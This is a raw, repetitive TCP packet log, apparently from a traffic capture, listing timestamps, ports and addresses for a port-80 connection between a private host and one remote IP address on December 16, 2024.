Dec 16, 2024 15:38:24.945508003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.945571899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.945969105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.946090937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.946203947 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.947006941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.947129011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.947221041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.948175907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.948281050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.948400974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.949256897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.949363947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.949414015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.950216055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.950278044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.950462103 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.951319933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.951385021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.951446056 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.952300072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.952436924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.952545881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.953419924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.953479052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.954394102 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.954463005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.954569101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.954621077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.955504894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.955615044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.955667973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.956557989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.956734896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.957688093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.957787037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.957864046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.957972050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.958714962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.958822012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.958920002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.959743977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.959892035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.960731030 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.960824013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.960948944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.961890936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.961958885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.962002039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.962105989 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.962927103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.963036060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.963124990 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.963999033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.964088917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.964144945 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.965074062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.965178013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.965245962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.966207027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.966310978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.966480017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.967251062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.967371941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.967434883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.968281031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.968398094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.968528986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.969348907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.969552994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.969609022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.970438004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.970542908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.970596075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.971504927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.971752882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.971808910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.972548008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.972666979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.972733021 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.973587036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.973740101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.974174023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.974700928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.974862099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.975727081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.975943089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.975945950 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.976780891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.976862907 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.976870060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.977596045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.977890015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.978028059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.978163004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.978914976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.979043007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.979227066 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.979954004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.980068922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.981028080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.981148005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.981151104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.981276989 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.982062101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.982111931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.982317924 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.983179092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.983376980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.983464003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.984288931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.984442949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.984536886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.985228062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.035566092 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.054898024 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.078031063 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.122104883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.122131109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.122402906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.122442961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.122632027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.122684956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.122767925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.123684883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.123732090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.123747110 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.124876976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.124923944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.124994993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.125823021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.125880003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.125910997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.126856089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.126909018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.126949072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.127980947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.128006935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.128072023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.129008055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.129059076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.129116058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.130084038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.130145073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.130156994 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.131162882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.131216049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.131249905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.132323027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.132469893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.132502079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.133375883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.133503914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.133533955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.134370089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.134414911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.134501934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.135451078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.135584116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.135648966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.136460066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.136564016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.136639118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.137526035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.137665033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.137698889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.138562918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.138619900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.138699055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.139736891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.139872074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.139971018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.140852928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.140906096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.141046047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.141772032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.141849041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.142412901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.142863989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.142908096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.143405914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.143882036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.143949986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.144012928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.144954920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.145067930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.145425081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.146075964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.146235943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.146401882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.147087097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.147265911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.147304058 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.148154974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.148273945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.149199009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.149292946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.149315119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.150259972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.150373936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.150393963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.151324987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.151370049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.151447058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.152390957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.152479887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.152515888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.153518915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.153568029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.153656006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.154546022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.154598951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.154687881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.155587912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.155770063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.155834913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.156706095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.156775951 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.156826973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.158061981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.158252001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.158639908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.159375906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.159427881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.159456015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.160554886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.160605907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.160692930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.161679029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.161796093 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.161818027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.162632942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.162679911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.162782907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.163777113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.163862944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.163971901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.164572001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.164695024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.164975882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.165280104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.165401936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.165426970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.166207075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.166354895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.166450977 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.167387962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.167622089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.167696953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.168487072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.168557882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.169413090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.169481993 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.169511080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.170470953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.170530081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.170599937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.171535969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.171650887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.172641993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.172713995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.172867060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.173707962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.173835993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.173996925 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.174819946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.174881935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.174911022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.175854921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.175929070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.176024914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.176860094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.176911116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.176990986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.314285040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.314436913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.314694881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.314714909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.314768076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.314810038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.315840006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.315897942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.316864967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.316874981 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.316939116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.317085981 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.317904949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.318069935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.318198919 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.319040060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.319109917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.319170952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.320120096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.320184946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.320239067 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.321134090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.321238995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.321388006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.322192907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.322268963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.322387934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.323234081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.323343039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.323451042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.324377060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.324492931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.324543953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.325443983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.325550079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.326435089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.326481104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.326531887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.326561928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.327475071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.327955008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.328511953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.328589916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.328644037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.328886032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.329651117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.329714060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.329775095 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.330717087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.330854893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.330915928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.331747055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.331839085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.331902027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.332770109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.332882881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.332967043 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.333833933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.333930969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.334112883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.334919930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.334995985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.335072994 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.336020947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.336121082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.336270094 CET	49747	80	192.168.2.6	185.215.113.16
